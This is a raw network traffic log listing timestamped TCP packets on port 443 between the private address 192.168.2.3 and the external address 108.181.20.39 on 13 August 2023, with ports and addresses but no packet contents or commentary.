Aug 13, 2023 08:43:43.154956102 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.154994965 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.155019045 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.155044079 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.155073881 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.155611992 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.155661106 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.155699015 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.155714989 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.155759096 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.155783892 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.156299114 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.156347036 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.156387091 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.156409979 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.156434059 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.156456947 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.156970024 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.157032967 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.157082081 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.157108068 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.157130957 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.157167912 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.157670021 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.157721043 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.157768011 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.157783985 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.157815933 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.157839060 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.328327894 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.328438997 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.328466892 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.328500986 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.328545094 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.328582048 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.494653940 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.494714975 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.494823933 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.494869947 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.494899035 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.494956970 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.495012045 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.495043039 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.495060921 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.495100021 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.495120049 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.495167017 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.495213032 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.495259047 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.495276928 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.495304108 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.495366096 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.495419979 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.495423079 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.495448112 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.495490074 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.495492935 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.495527983 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.495551109 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.495595932 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.495637894 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.495652914 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.495678902 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.495718956 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.495733023 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.495837927 CEST	443	49753	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:43.496253967 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.523616076 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:43.525481939 CEST	49753	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:52.440738916 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:52.440819025 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:52.440943956 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:52.514180899 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:52.514246941 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:52.853195906 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:52.853388071 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:52.865936041 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:52.865978956 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:52.866415024 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:52.914232016 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.172811031 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.214890003 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.550148964 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.550200939 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.550219059 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.550244093 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.550338030 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.550378084 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.550385952 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.550391912 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.550482035 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.550499916 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.550573111 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.550592899 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.550592899 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.550636053 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.715389967 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.715437889 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.715622902 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.715631008 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.715663910 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.715686083 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.715703964 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.715739012 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.716923952 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.716960907 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.717070103 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.717094898 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.758048058 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.881443977 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.881506920 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.881612062 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.881642103 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.881663084 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.881695986 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.881784916 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.881836891 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.881865025 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.881875992 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.881897926 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.881926060 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.882333994 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.882385015 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.882428885 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.882445097 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.882464886 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.882580996 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.882635117 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.882652044 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.882664919 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.882711887 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.882740021 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.883217096 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.883265018 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.883368969 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.883368969 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:53.883388996 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:53.884557962 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.047605038 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.047669888 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.047795057 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.047794104 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.047825098 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.047864914 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.047878981 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.047911882 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.047928095 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.047962904 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.047988892 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.048053980 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.048098087 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.048145056 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.048152924 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.048201084 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.048232079 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.048362017 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.048410892 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.048460007 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.048468113 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.048512936 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.048543930 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.048815012 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.048863888 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.048918009 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.048924923 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.048981905 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.049175024 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.049228907 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.049297094 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.049304962 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.049341917 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.049371004 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.049546957 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.049621105 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.049669027 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.049726009 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.049734116 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.049796104 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.049875021 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.049911022 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.049923897 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.049973011 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.049979925 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.050017118 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.050050974 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.050143957 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.050195932 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.050237894 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.050244093 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.050318003 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.050357103 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.050401926 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.050457954 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.050465107 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.050518036 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.050561905 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.050726891 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.050849915 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.050965071 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.051074982 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.051305056 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.051315069 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.051434994 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.061834097 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.213670015 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.213730097 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.213803053 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.213825941 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.213848114 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.214004040 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.214057922 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.214083910 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.214092970 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.214138985 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.214165926 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.214219093 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.214266062 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.214306116 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.214313984 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.214344025 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.214361906 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.214378119 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.214432955 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.214457035 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.214463949 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.214505911 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.214521885 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.214576006 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.214622021 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.214653969 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.214660883 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.214682102 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.214700937 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.214714050 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.214828968 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.214880943 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.214912891 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.214920998 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.214951992 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.214970112 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.215053082 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.215123892 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.215171099 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.215217113 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.215224981 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.215240002 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.215353012 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.215403080 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.215403080 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.215415001 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.215425014 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.215441942 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.215493917 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.215517044 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.215630054 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.215672970 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.215677023 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.215713978 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.215720892 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.215744019 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.215775013 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.215898991 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.215945959 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.215981007 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.215986967 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.216012955 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.216031075 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.216159105 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.216207981 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.216224909 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.216248989 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.216254950 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.216269016 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.216294050 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.216309071 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.216394901 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.216438055 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.216480970 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.216490030 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.216512918 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.216705084 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.216757059 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.216789961 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.216798067 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.216834068 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.216865063 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.216932058 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.217000961 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.217014074 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.217046022 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.217051983 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.217067003 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.217304945 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.217350960 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.217387915 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.217396021 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.217453003 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.217480898 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.217514992 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.217561007 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.217595100 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.217602015 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.217644930 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.217664957 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.217716932 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.217772961 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.217794895 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.217802048 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.217843056 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.217855930 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.217920065 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.217993021 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.218230963 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.218236923 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.218363047 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.218468904 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.218513012 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.218549013 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.218556881 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.218588114 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.218614101 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.218627930 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.218668938 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.218713999 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.218720913 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.218761921 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.218791962 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.218796968 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.219460011 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.219521046 CEST	443	49754	108.181.20.39	192.168.2.3
Aug 13, 2023 08:43:54.219613075 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.220078945 CEST	49754	443	192.168.2.3	108.181.20.39
Aug 13, 2023 08:43:54.226671934 CEST	49754	443	192.168.2.3	108.181.20.39
